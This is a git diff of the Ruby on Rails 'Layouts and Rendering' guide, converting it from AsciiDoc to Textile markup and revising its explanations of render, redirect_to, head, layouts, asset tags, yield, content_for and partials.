diff --git a/railties/doc/guides/source/layouts_and_rendering.txt b/railties/guides/source/layouts_and_rendering.textile
index 23cb83c512..809d2b2172 100644
--- a/railties/doc/guides/source/layouts_and_rendering.txt
+++ b/railties/guides/source/layouts_and_rendering.textile
@@ -1,5 +1,4 @@
-Layouts and Rendering in Rails
-==============================
+h2. Layouts and Rendering in Rails
This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:
@@ -8,13 +7,15 @@ This guide covers the basic layout features of Action Controller and Action View
* Use partials to DRY up your views
* Use nested layouts (sub-templates)
-== Overview: How the Pieces Fit Together
+endprologue.
+
+h3. Overview: How the Pieces Fit Together
This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.
In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.
-== Creating Responses
+h3. Creating Responses
From the controller's point of view, there are three ways to create an HTTP response:
@@ -24,46 +25,43 @@ From the controller's point of view, there are three ways to create an HTTP resp
I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.
-=== Rendering by Default: Convention Over Configuration in Action
+h4. Rendering by Default: Convention Over Configuration in Action
You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your +BooksController+ class:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def show
@book = Book.find(params[:id])
end
--------------------------------------------------------
+</ruby>
-Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect \':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
+Rails will automatically render +app/views/books/show.html.erb+ after running the method. In fact, if you have the default catch-all route in place (+map.connect ':controller/:action/:id'+), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for +/books/sale_list+, Rails will render +app/views/books/sale_list.html.erb+ in response.
NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.
-=== Using +render+
+h4. Using +render+
In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.
TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser.
-==== Rendering Nothing
+h5. Rendering Nothing
Perhaps the simplest thing you can do with +render+ is to render nothing at all:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :nothing => true
--------------------------------------------------------
+</ruby>
This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).
TIP: You should probably be using the +head+ method, discussed later in this guide, instead of +render :nothing+. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.
-==== Rendering an Action's View
+h5. Rendering an Action's View
If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -73,13 +71,13 @@ def update
end
end
end
--------------------------------------------------------
+</ruby>
+
If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
If you prefer, you can use a symbol instead of a string to specify the action to render:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -89,12 +87,11 @@ def update
end
end
end
--------------------------------------------------------
+</ruby>
To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary as of Rails 2.3):
-[source, ruby]
--------------------------------------------------------
+<ruby>
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -104,41 +101,38 @@ def update
end
end
end
--------------------------------------------------------
+</ruby>
WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
-==== Rendering an Action's Template from Another Controller
+h5. Rendering an Action's Template from Another Controller
What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render 'products/show'
--------------------------------------------------------
+</ruby>
Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :template => 'products/show'
--------------------------------------------------------
+</ruby>
-==== Rendering an Arbitrary File
+h5. Rendering an Arbitrary File
The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
-[source, ruby]
--------------------------------------------------------
+<ruby>
render "/u/apps/warehouse_app/current/app/views/products/show"
--------------------------------------------------------
+</ruby>
Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
-[source, ruby]
--------------------------------------------------------
-render :file => "/u/apps/warehouse_app/current/app/views/products/show"
--------------------------------------------------------
+<ruby>
+render :file =>
+ "/u/apps/warehouse_app/current/app/views/products/show"
+</ruby>
The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
@@ -146,84 +140,79 @@ NOTE: By default, the file is rendered without using the current layout. If you
TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames.
-==== Using +render+ with +:inline+
+h5. Using +render+ with +:inline+
The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
-[source, ruby]
--------------------------------------------------------
-render :inline => "<% products.each do |p| %><p><%= p.name %><p><% end %>"
--------------------------------------------------------
+<ruby>
+render :inline =>
+ "<% products.each do |p| %><p><%= p.name %><p><% end %>"
+</ruby>
WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
By default, inline rendering uses ERb. You can force it to use Builder instead with the +:type+ option:
-[source, ruby]
--------------------------------------------------------
-render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder
--------------------------------------------------------
+<ruby>
+render :inline =>
+ "xml.p {'Horrid coding practice!'}", :type => :builder
+</ruby>
-==== Using +render+ with +:update+
+h5. Using +render+ with +:update+
You can also render javascript-based page updates inline using the +:update+ option to +render+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :update do |page|
page.replace_html 'warning', "Invalid options supplied"
end
--------------------------------------------------------
+</ruby>
-WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. I recommend using a separate rjs template instead, no matter how small the update.
+WARNING: Placing javascript updates in your controller may seem to streamline small updates, but it defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. We recommend using a separate rjs template instead, no matter how small the update.
-==== Rendering Text
+h5. Rendering Text
You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :text => "OK"
--------------------------------------------------------
+</ruby>
TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
NOTE: By default, if you use the +:text+ option, the file is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the +:layout => true+ option
-==== Rendering JSON
+h5. Rendering JSON
JSON is a javascript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :json => @product
--------------------------------------------------------
+</ruby>
TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
-==== Rendering XML
+h5. Rendering XML
Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :xml => @product
--------------------------------------------------------
+</ruby>
TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
-==== Rendering Vanilla JavaScript
+h5. Rendering Vanilla JavaScript
Rails can render vanilla JavaScript (as an alternative to using +update+ with n +.rjs+ file):
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :js => "alert('Hello Rails');"
--------------------------------------------------------
+</ruby>
This will send the supplied string to the browser with a MIME type of +text/javascript+.
-==== Options for +render+
+h5. Options for +render+
Calls to the +render+ method generally accept four options:
@@ -232,93 +221,85 @@ Calls to the +render+ method generally accept four options:
* +:status+
* +:location+
-===== The +:content_type+ Option
+h6. The +:content_type+ Option
By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :file => filename, :content_type => 'application/rss'
--------------------------------------------------------
+</ruby>
-===== The +:layout+ Option
+h6. The +:layout+ Option
-With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
+With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide.
You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :layout => 'special_layout'
--------------------------------------------------------
+</ruby>
You can also tell Rails to render with no layout at all:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :layout => false
--------------------------------------------------------
+</ruby>
-===== The +:status+ Option
+h6. The +:status+ Option
Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :status => 500
render :status => :forbidden
--------------------------------------------------------
+</ruby>
-Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how it maps symbols to status codes in that file.
+Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes.
-===== The +:location+ Option
+h6. The +:location+ Option
You can use the +:location+ option to set the HTTP +Location+ header:
-[source, ruby]
--------------------------------------------------------
+<ruby>
render :xml => photo, :location => photo_url(photo)
--------------------------------------------------------
+</ruby>
-==== Finding Layouts
+h5. Finding Layouts
-To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+. If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
+To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +/app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +/app/views/layouts/application.html.erb+ ot +/app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-===== Specifying Layouts on a per-Controller Basis
+h6. Specifying Layouts on a per-Controller Basis
You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class ProductsController < ApplicationController
layout "inventory"
#...
end
--------------------------------------------------------
+</ruby>
With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class ApplicationController < ActionController::Base
layout "main"
#...
end
--------------------------------------------------------
+</ruby>
With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
-===== Choosing Layouts at Runtime
+h6. Choosing Layouts at Runtime
You can use a symbol to defer the choice of layout until a request is processed:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class ProductsController < ApplicationController
layout :products_layout
-
+
def show
@product = Product.find(params[:id])
end
@@ -329,69 +310,63 @@ class ProductsController < ApplicationController
end
end
--------------------------------------------------------
+</ruby>
Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
-[source, ruby]
--------------------------------------------------------
+<ruby>
class ProductsController < ApplicationController
- layout proc{ |controller| controller.
- # ...
+ layout proc { |controller| controller.request.xhr? ? 'popup' : 'application' }
+ # ...
end
--------------------------------------------------------
+</ruby>
-===== Conditional Layouts
+h6. Conditional Layouts
Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names:
--------------------------------------------------------
+<ruby>
class ProductsController < ApplicationController
- layout "inventory", :only => :index
layout "product", :except => [:index, :rss]
#...
end
--------------------------------------------------------
+</ruby>
-With those declarations, the +inventory+ layout would be used only for the +index+ method, the +product+ layout would be used for everything else except the +rss+ method, and the +rss+ method will have its layout determined by the automatic layout rules.
+With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
-===== Layout Inheritance
+h6. Layout Inheritance
Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
-+application_controller.rb+:
+* +application_controller.rb+
-[source, ruby]
--------------------------------------------------------
+<ruby>
class ApplicationController < ActionController::Base
layout "main"
#...
end
--------------------------------------------------------
+</ruby>
-+posts_controller.rb+:
+* +posts_controller.rb+
-[source, ruby]
--------------------------------------------------------
+<ruby>
class PostsController < ApplicationController
# ...
end
--------------------------------------------------------
+</ruby>
-+special_posts_controller.rb+:
+* +special_posts_controller.rb+
-[source, ruby]
--------------------------------------------------------
+<ruby>
class SpecialPostsController < PostsController
layout "special"
# ...
end
--------------------------------------------------------
+</ruby>
-+old_posts_controller.rb+:
+* +old_posts_controller.rb+
-[source, ruby]
--------------------------------------------------------
+<ruby>
class OldPostsController < SpecialPostsController
layout nil
@@ -405,7 +380,7 @@ class OldPostsController < SpecialPostsController
end
# ...
end
--------------------------------------------------------
+</ruby>
In this application:
@@ -415,67 +390,78 @@ In this application:
* +OldPostsController#show+ will use no layout at all
* +OldPostsController#index+ will use the +old+ layout
-==== Avoiding Double Render Errors
+h5. Avoiding Double Render Errors
Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
For example, here's some code that will trigger this error:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def show
@book = Book.find(params[:id])
if @book.special?
render :action => "special_show"
end
+ render :action => "regular_show"
end
--------------------------------------------------------
+</ruby>
If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def show
@book = Book.find(params[:id])
if @book.special?
render :action => "special_show" and return
end
+ render :action => "regular_show"
end
--------------------------------------------------------
+</ruby>
+
+Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. So this code will work with problems:
+
+<ruby>
+ def show
+ @book = Book.find(params[:id])
+ if @book.special?
+ render :action => "special_show"
+ end
+ end
+</ruby>
-=== Using +redirect_to+
+This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
-Another way to handle returning responses to a HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+h4. Using +redirect_to+
-[source, ruby]
--------------------------------------------------------
+Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+<ruby>
redirect_to photos_path
--------------------------------------------------------
+</ruby>
You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
--------------------------------------------------------
+<ruby>
redirect_to :back
--------------------------------------------------------
+</ruby>
-==== Getting a Different Redirect Status Code
+h5. Getting a Different Redirect Status Code
Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option:
--------------------------------------------------------
+<ruby>
redirect_to photos_path, :status => 301
--------------------------------------------------------
+</ruby>
Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
-==== The Difference Between +render+ and +redirect+
+h5. The Difference Between +render+ and +redirect_to+
-Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back a HTTP 302 status code.
+Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
Consider these actions to see the difference:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def index
@books = Book.find(:all)
end
@@ -483,15 +469,14 @@ end
def show
@book = Book.find(params[:id])
if @book.nil?
- render :action => "index" and return
+ render :action => "index"
end
end
--------------------------------------------------------
+</ruby>
With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
-[source, ruby]
--------------------------------------------------------
+<ruby>
def index
@books = Book.find(:all)
end
@@ -499,30 +484,28 @@ end
def show
@book = Book.find(params[:id])
if @book.nil?
- redirect_to :action => "index" and return
+ redirect_to :action => "index"
end
end
--------------------------------------------------------
+</ruby>
With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
-=== Using +head+ To Build Header-Only Responses
+h4. Using +head+ To Build Header-Only Responses
The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:
-[source, ruby]
--------------------------------------------------------
+<ruby>
head :bad_request
--------------------------------------------------------
+</ruby>
Or you can use other HTTP headers to convey additional information:
-[source, ruby]
--------------------------------------------------------
+<ruby>
head :created, :location => photo_path(@photo)
--------------------------------------------------------
+</ruby>
-== Structuring Layouts
+h3. Structuring Layouts
When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
@@ -532,7 +515,7 @@ When Rails renders a view as a response, it does so by combining the view with t
I'll discuss each of these in turn.
-=== Asset Tags
+h4. Asset Tags
Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:
@@ -541,18 +524,18 @@ Asset tags provide methods for generating HTML that links views to assets like i
* stylesheet_link_tag
* image_tag
-You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +<head>+ section of a layout.
+You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +&lt;head&gt;+ section of a layout.
WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-==== Linking to Feeds with +auto_discovery_link_tag+
+h5. Linking to Feeds with +auto_discovery_link_tag+
-The +auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
-[source, ruby]
--------------------------------------------------------
-<%= auto_discovery_link_tag(:rss, {:action => "feed"}, {:title => "RSS Feed"}) %>
--------------------------------------------------------
+<erb>
+<%= auto_discovery_link_tag(:rss, {:action => "feed"},
+ {:title => "RSS Feed"}) %>
+</erb>
There are three tag options available for +auto_discovery_link_tag+:
@@ -560,162 +543,143 @@ There are three tag options available for +auto_discovery_link_tag+:
* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
* +:title+ specifies the title of the link
-==== Linking to Javascript Files with +javascript_include_tag+
+h5. Linking to Javascript Files with +javascript_include_tag+
+
+The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
-The +javascript_include_tag+ helper returns an HTML +<script>+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
-
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag "main" %>
--------------------------------------------------------
+</erb>
To include +public/javascripts/main.js+ and +public/javascripts/columns.js+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag "main", "columns" %>
--------------------------------------------------------
+</erb>
To include +public/javascripts/main.js+ and +public/photos/columns.js+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag "main", "/photos/columns" %>
--------------------------------------------------------
+</erb>
To include +http://example.com/main.js+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag "http://example.com/main.js" %>
--------------------------------------------------------
+</erb>
The +defaults+ option loads the Prototype and Scriptaculous libraries:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag :defaults %>
--------------------------------------------------------
+</erb>
The +all+ option loads every javascript file in +public/javascripts+, starting with the Prototype and Scriptaculous libraries:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag :all %>
--------------------------------------------------------
+</erb>
You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag :all, :recursive => true %>
--------------------------------------------------------
+</erb>
If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= javascript_include_tag "main", "columns", :cache => true %>
--------------------------------------------------------
+</erb>
By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
-[source, ruby]
--------------------------------------------------------
-<%= javascript_include_tag "main", "columns", :cache => 'cache/main/display' %>
--------------------------------------------------------
+<erb>
+<%= javascript_include_tag "main", "columns",
+ :cache => 'cache/main/display' %>
+</erb>
-You can even use dynamic paths such as "cache/#{current_site}/main/display"+.
-
-==== Linking to CSS Files with +stylesheet_link_tag+
+You can even use dynamic paths such as +cache/#{current_site}/main/display+.
+
+h5. Linking to CSS Files with +stylesheet_link_tag+
The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+:
-
-[source, ruby]
--------------------------------------------------------
+
+<erb>
<%= stylesheet_link_tag "main" %>
--------------------------------------------------------
+</erb>
To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag "main", "columns" %>
--------------------------------------------------------
+</erb>
To include +public/stylesheets/main.css+ and +public/photos/columns.css+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag "main", "/photos/columns" %>
--------------------------------------------------------
+</erb>
To include +http://example.com/main.cs+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag "http://example.com/main.cs" %>
--------------------------------------------------------
+</erb>
By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag "main_print", media => "print" %>
--------------------------------------------------------
+</erb>
The +all+ option links every CSS file in +public/stylesheets+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag :all %>
--------------------------------------------------------
+</erb>
You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag :all, :recursive => true %>
--------------------------------------------------------
+</erb>
If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= stylesheet_link_tag "main", "columns", :cache => true %>
--------------------------------------------------------
-
+</erb>
+
By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
-[source, ruby]
--------------------------------------------------------
-<%= stylesheet_link_tag "main", "columns", :cache => 'cache/main/display' %>
--------------------------------------------------------
+<erb>
+<%= stylesheet_link_tag "main", "columns",
+ :cache => 'cache/main/display' %>
+</erb>
+
+You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-You can even use dynamic paths such as "cache/#{current_site}/main/display"+.
-
-==== Linking to Images with +image_tag+
+h5. Linking to Images with +image_tag+
-The +image_tag+ helper builds an HTML +<image>+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, .png is assumed by default:
+The +image_tag+ helper builds an HTML +&lt;image&gt;+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, +.png+ is assumed by default:
-[source, ruby]
--------------------------------------------------------
+<erb>
<%= image_tag "header" %>
--------------------------------------------------------
+</erb>
You can supply a path to the image if you like:
-
-[source, ruby]
--------------------------------------------------------
+
+<erb>
<%= image_tag "icons/delete.gif" %>
--------------------------------------------------------
+</erb>
You can supply a hash of additional HTML options:
-
-[source, ruby]
--------------------------------------------------------
+
+<erb>
<%= image_tag "icons/delete.gif", :height => 45 %>
--------------------------------------------------------
+</erb>
There are also three special options you can use with +image_tag+:
@@ -723,94 +687,87 @@ There are also three special options you can use with +image_tag+:
* +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125")
* +:mouseover+ sets an alternate image to be used when the onmouseover event is fired.
-=== Understanding +yield+
+h4. Understanding +yield+
Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
-[source, html]
--------------------------------------------------------
+<erb>
<html>
<head>
</head>
<body>
- <%= yield %>
- <hbody>
+ <%= yield %>
+ </body>
</html>
--------------------------------------------------------
+</erb>
You can also create a layout with multiple yielding regions:
-[source, html]
--------------------------------------------------------
+<erb>
<html>
<head>
- <%= yield :head %>
+ <%= yield :head %>
</head>
<body>
- <%= yield %>
- <hbody>
+ <%= yield %>
+ </body>
</html>
--------------------------------------------------------
+</erb>
The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
-=== Using +content_for+
+h4. Using +content_for+
The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw:
-[source, html]
--------------------------------------------------------
+<erb>
<% content_for :head do %>
<title>A simple page</title>
<% end %>
<p>Hello, Rails!</p>
--------------------------------------------------------
+</erb>
The result of rendering this page into the supplied layout would be this HTML:
-[source, html]
--------------------------------------------------------
+<erb>
<html>
<head>
- <title>A simple page</title>
+ <title>A simple page</title>
</head>
<body>
- <p>Hello, Rails!</p>
- <hbody>
+ <p>Hello, Rails!</p>
+ </body>
</html>
--------------------------------------------------------
+</erb>
-The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.
+The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise generic layout.
-=== Using Partials
+h4. Using Partials
-Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-==== Naming Partials
+h5. Naming Partials
To render a partial as part of a view, you use the +render+ method within the view, and include the +:partial+ option:
-[source, ruby]
--------------------------------------------------------
+<ruby>
<%= render :partial => "menu" %>
--------------------------------------------------------
+</ruby>
This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-[source, ruby]
--------------------------------------------------------
+<ruby>
<%= render :partial => "shared/menu" %>
--------------------------------------------------------
+</ruby>
